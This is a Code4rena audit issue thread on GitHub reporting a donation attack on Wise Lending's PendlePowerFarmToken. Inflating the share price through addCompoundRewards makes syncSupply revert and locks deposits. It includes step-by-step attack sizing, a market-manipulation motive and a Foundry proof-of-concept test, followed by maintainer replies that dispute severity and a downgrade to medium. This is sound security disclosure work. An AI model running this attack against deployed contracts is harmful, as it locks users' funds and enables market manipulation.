Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An attacker can lock any PendlePowerFarmToken with a donation using addCompoundRewards #88

Closed
c4-bot-8 opened this issue Mar 8, 2024 · 11 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-123 high quality report This report is of especially high quality 🤖_88_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-bot-8
Copy link
Contributor

c4-bot-8 commented Mar 8, 2024

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L114-L130

Vulnerability details

Summary

An attacker can inflate a share price using donation with addCompoundRewards. It will lead to reverts in syncSupply modifier effectively locking the PendlePowerFarmToken

Vulnerability Details

  1. _validateSharePriceGrowth reverts if the share price grew too fast
    function _validateSharePriceGrowth(
        uint256 _sharePriceNow
    )
        private
        view
    {
        uint256 timeDifference = block.timestamp
            - INITIAL_TIME_STAMP;

        uint256 maximum = timeDifference
            * RESTRICTION_FACTOR
            + PRECISION_FACTOR_E18;

        if (_sharePriceNow > maximum) {
            revert InvalidSharePriceGrowth();
        }
    }
  1. Anyone can donate to a PendlePowerFarmToken using addCompoundRewards, increasing totalLpAssetsToDistribute
    https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L502-L524
    function addCompoundRewards(
        uint256 _amount
    )
        external
        syncSupply
    {
        if (_amount == 0) {
            revert ZeroAmount();
        }

        totalLpAssetsToDistribute += _amount;

        if (msg.sender == PENDLE_POWER_FARM_CONTROLLER) {
            return;
        }

        _safeTransferFrom(
            UNDERLYING_PENDLE_MARKET,
            msg.sender,
            PENDLE_POWER_FARM_CONTROLLER,
            _amount
        );
    }
  1. The PendlePowerFarmToken.syncSupply modifier calls the PendlePowerFarmToken._syncSupply, which moves the totalLpAssetsToDistribute to underlyingLpAssetsCurrent, thereby increasing the share price.
    https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L334-L345
    function _syncSupply()
        private
    {
        uint256 additonalAssets = previewDistribution();

        if (additonalAssets == 0) {
            return;
        }

        underlyingLpAssetsCurrent += additonalAssets;
        totalLpAssetsToDistribute -= additonalAssets;
    }
  1. Then, it calls _validateSharePriceGrowth, leading to a revert.
    https://github.com/code-423n4/2024-02-wise-lending/blob/1240a22a3bbffc13d5f8ae6300ef45de5edc7c19/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L81-L96
    modifier syncSupply()
    {
        _triggerIndexUpdate();
        _overWriteCheck();
@>      _syncSupply();
        _updateRewards();
        _setLastInteraction();
        _increaseCardinalityNext();
        uint256 sharePriceBefore = _getSharePrice();
        _;
@>      _validateSharePriceGrowth(
            _validateSharePrice(
                sharePriceBefore
            )
        );
    }
  1. Deposits, withdrawals, and manualSync will revert because they use the syncSupply modifier.
  2. This also applies to PendlePowerFarmController.exchangeRewardsForCompoundingWithIncentive and PendlePowerFarmController.exchangeLpFeesForPendleWithIncentive (which calls PendlePowerFarmController.syncSupply => PendlePowerFarmController._syncSupply => PendlePowerFarmToken.manualSync).

It's cheapest to perform this attack on a new pool or a pool with very low deposits. However, it can also be done on larger pools, but the cost of the attack will be higher.

Steps for the attack:

  1. Choose a PendlePowerFarmToken, preferably one with low liquidity.
  2. Call addCompoundRewards
    1. To lock for 1 year, they would need to donate underlyingLpAssetsCurrent * RESTRICTION_FACTOR.
    2. To lock for 1 day, underlyingLpAssetsCurrent * RESTRICTION_FACTOR / 365.
    3. If the donation is bigger than ONE_WEEK, the attacker needs to check how active the pool is. ONE_WEEK in this case is a number. If it's active once a day (syncSupply is called once a day), they would need to donate 7x more.
    4. For activity every hour, 7*24x more.
    5. Essentially, the attacker wants additionalAssets to be large enough that the share price becomes too high.
  3. User funds are locked for the period the attacker desires.
  4. This may be used to influence the market, reducing the supply of a certain token to make a profit (by going long on that token before the attack, because less supply => higher price).

Impact

  1. PendlePowerFarmToken functions: Deposits, withdrawals, and manualSync will revert because they use the syncSupply modifier.
  2. As well as PendlePowerFarmController.exchangeRewardsForCompoundingWithIncentive and PendlePowerFarmController.exchangeLpFeesForPendleWithIncentive, as well as lockPendle, withdrawLock.
  3. There's no way to add this market again because addPendleMarket does not allow adding the same market again.

Proof of Concept

contracts/PowerFarms/PendlePowerFarmController/Donate.t.sol

forge test -f https://mainnet.infura.io/v3/YOUR_KEY -vvv --mc Donate --mt testOne

pragma solidity =0.8.24;

import "forge-std/console.sol";
import "forge-std/Test.sol";
import "./PendlePowerFarmControllerBase.t.sol";


contract Donate is PendlePowerFarmControllerBaseTest {

    function testOne() cheatSetup(true) external {
        vm.stopPrank();
        _test();
    }


    // This one is slower, take 2-3 minutes on my machine
    function testTwo() external {
        _setProperties();

        controllerTester = new PendleControllerTester(
            AddressesMap[chainId].vePendle,
            AddressesMap[chainId].pendleTokenAddress,
            AddressesMap[chainId].voterContract,
            AddressesMap[chainId].voterRewardsClaimer,
            AddressesMap[chainId].oracleHub
        );

        controllerTester.addPendleMarket(
            AddressesMap[chainId].PendleMarketStEth,
            "name",
            "symbol",
            MAX_CARDINALITY
        );

        _test();
    }

    function _test() internal {
        address market = AddressesMap[chainId].PendleMarketStEth;
        PendlePowerFarmToken ppfToken = PendlePowerFarmToken(
            controllerTester.pendleChildAddress(market)
        );
        _log(ppfToken, "start");


        deal(market, address(this), 100 ether);
        IERC20(market).approve(address(ppfToken), type(uint).max);
        ppfToken.depositExactAmount(100);
        _log(ppfToken, "depositExactAmount(100)");

        ppfToken.manualSync();
        _log(ppfToken, "manualSync");

        ppfToken.addCompoundRewards(2_000);
        _log(ppfToken, "addCompoundRewards(2_000)");

        // expect revert
        vm.warp(block.timestamp + 6);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync after warp(6)");

        // make sure another deposit does not change it
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.depositExactAmount(10_000);
        _log(ppfToken, "depositExactAmount(10_000)");

        // expect revert after 1 day
        vm.warp(block.timestamp + 1 days);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 1 day");

        // expect revert after 7 days
        vm.warp(block.timestamp + 7 days);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 7 days");


        // expect revert after 1 year
        vm.warp(block.timestamp + 365 days);
        vm.expectRevert(InvalidSharePriceGrowth.selector);
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 1 year");

        // expect NO revert after 2 years 
        // becase the donated sum is initialDeposit * RESTRICTION_FACTOR * 2
        // If we donated more it would revert
        vm.warp(block.timestamp + (2 * 365 days));
        ppfToken.manualSync();
        _log(ppfToken, "manualSync 2 years");
    }

    function _log(PendlePowerFarmToken ppfToken, string memory text) internal view {
        console.log("___", text);
        console.log("totalSupply: \t\t\t", ppfToken.totalSupply());
        console.log("underlyingLpAssetsCurrent: ", ppfToken.underlyingLpAssetsCurrent());
        console.log("totalLpAssetsToDistribute: ", ppfToken.totalLpAssetsToDistribute());
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

  • Consider adding access control to addCompoundRewards.
  • Consider allowing the admin to change the RESTRICTION_FACTOR in case of an emergency.

Assessed type

Oracle

@c4-bot-8 c4-bot-8 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Mar 8, 2024
c4-bot-8 added a commit that referenced this issue Mar 8, 2024
@c4-bot-12 c4-bot-12 added the 🤖_88_group AI based duplicate group recommendation label Mar 12, 2024
@c4-pre-sort c4-pre-sort added the primary issue Highest quality submission among a set of duplicates label Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as primary issue

@GalloDaSballo
Copy link

Please review this + #123 and #125 for best as they are very close

@c4-pre-sort c4-pre-sort added the high quality report This report is of especially high quality label Mar 17, 2024
@c4-pre-sort
Copy link

GalloDaSballo marked the issue as high quality report

@vonMangoldt
Copy link

Yes true but its not a high since you can always withdraw and we can redeploy a new one everytime. So no user funds at risk or funds lost or blocked. Downgraded imo. Still a reason to introduce a role for compound adding and a solid medium imo

@vm06007
Copy link

vm06007 commented Mar 20, 2024

@GalloDaSballo please mark this as disagree with severity (add label)

@vm06007
Copy link

vm06007 commented Mar 20, 2024

Seems only deposits can be locked, which is similar to admin calling shutdown on farm and stopping farm from working. Withdrawals are not blocked so all users could still exit the farm without any issues.

@vm06007
Copy link

vm06007 commented Mar 20, 2024

POC also shows only depositExactAmount calls, but not other functions at risk.

@vm06007
Copy link

vm06007 commented Mar 20, 2024

this might be a duplicate though: #86 then #88 could be closed in favor of #86

@GalloDaSballo
Copy link

@GalloDaSballo please mark this as disagree with severity (add label)

Have asked Staff to reach out!

@c4-judge
Copy link
Contributor

trust1995 marked issue #123 as primary and marked this issue as a duplicate of 123

@c4-judge c4-judge added duplicate-123 and removed primary issue Highest quality submission among a set of duplicates labels Mar 26, 2024
@c4-judge
Copy link
Contributor

trust1995 marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Mar 26, 2024
@PaperParachute PaperParachute added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Apr 15, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-123 high quality report This report is of especially high quality 🤖_88_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

8 participants